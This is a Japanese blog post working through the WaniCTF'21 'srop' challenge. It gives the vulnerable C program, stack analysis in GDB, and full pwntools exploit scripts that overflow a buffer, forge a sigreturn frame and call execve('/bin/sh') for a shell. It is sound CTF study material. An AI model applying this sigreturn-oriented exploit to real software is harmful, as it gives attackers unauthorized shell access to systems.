0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF'21-spring pwn 06 srop を勉強した記録

Last updated at Posted at 2021-05-19

WaniCTF'21-spring pwn 06 srop

srop の意味は SigReturn Oriented Programming だな。
これ勉強する前は Super ROP かと思ってたよ。

問題

nc srop.pwn.wanictf.org 9006
sigreturnを用いたROPでシェルを実行してください。
sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html

配布データ

pwn06
pwn06.c
pwn06.c
#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}

短いな。

動かしてみると

# ./pwn06
buff : 0x7ffdab31aa60
Can you get the shell?

とbuff[50]のアドレスのリークがある

sigreturnが全然わからんのんで,solver.py を追う

solver.py
from pwn import *

set_rax = p64(0x40118c)
syscall = p64(0x40117e)

#pc = process("./chall")
pc = connect('localhost',9101)
buff=pc.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))


payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

print(pc.recvuntil('\n'))
pc.send(payload)
pc.interactive()

set_rax = p64(0x40118c)

  40118c:       48 c7 c0 0f 00 00 00    mov    rax,0xf
  401193:       c3                      ret    

syscall = p64(0x40117e)

  40117e:       0f 05                   syscall 
  401180:       c3                      ret

payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall

rt_sigreturn()

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

以上は全部 スタック 2 レジスタ

bof

char buff[50]は,実際には 0x10の倍数で割り当てられるので,
char buff[64]と同じこと。

"A"の数は buff の 64 と push ebp の 8 で, 8*9 と予想できる。

b main で止まった状態

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe458 --> 0x7ffff7a03bf7 (<__libc_start_main+231>:	mov    edi,eax)

0x7ffff7a03bf7 が main関数 のリターンアドレス

ローカル変数 char buff[50]; の割り当て

   0x40119f <main+8>:	sub    rsp,0x40
=> 0x4011a3 <main+12>:

RSP: 0x7fffffffe410 --> 0xc2 

スタック 0x7fffffffe410 が buff のアドレス

image.png

"A"の数
"A" * 8 * 9
予想通りだ。

計画書

b"/bin/sh\x00"を書き込む場所も必要なので,
"A" * 8 * 9とするところを

payload = b"/bin/sh\x00"
payload+= b'A'88

とする

b"/bin/sh\x00"のアドレスは,問題側でリークしてくれているので,拾う

syscall 0xf (15) rt_sigreturn() でスタックをレジスタに書き込むのだが,
書き込む内容は,
syscall 0x3b (59) execve(”/bun/sh”,null,null)
であるが,syscallをRIPに置く必要がある

レジスタ
RDI "/bin/sh"のアドレス
RSI 0x0
RDX 0x0
RAX 0x3b (59 execve)
RIP syscall

攻撃コード

pwn06.py
# coding: UTF-8

# WaniCTF'21-spring pwn 06 srop
# https://github.com/wani-hackase/wanictf21spring-writeup/tree/main/pwn/06-srop

from pwn import *
import pwn 

#io = pwn.remote("srop.pwn.wanictf.org", 9006)
io = pwn.process("./pwn06")

# rt_sigreturn() で使う rop部品
set_rax = p64(0x40118c) # mov rax, 0xf ; ret
syscall = p64(0x40117e) # syscall ; ret

# leak
buff=io.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))

# buffの先頭はそのまま/bin/shの置き場にさせてもらう
payload = b"/bin/sh\x00"
payload+= b'A'*8*8

# rt_sigreturn
payload+=set_rax # mov rax, 0xf ; ret
payload+=syscall # syscall ; ret

# ここから下はレジスタに入る順番で

payload+=p64(0)*5 #user_context

payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #rip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7

print(io.recvuntil('\n'))
io.send(payload)
io.interactive()

わかりやすい説明が出来た気がする。(自画自賛)
cs 0x33 って何だ?

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?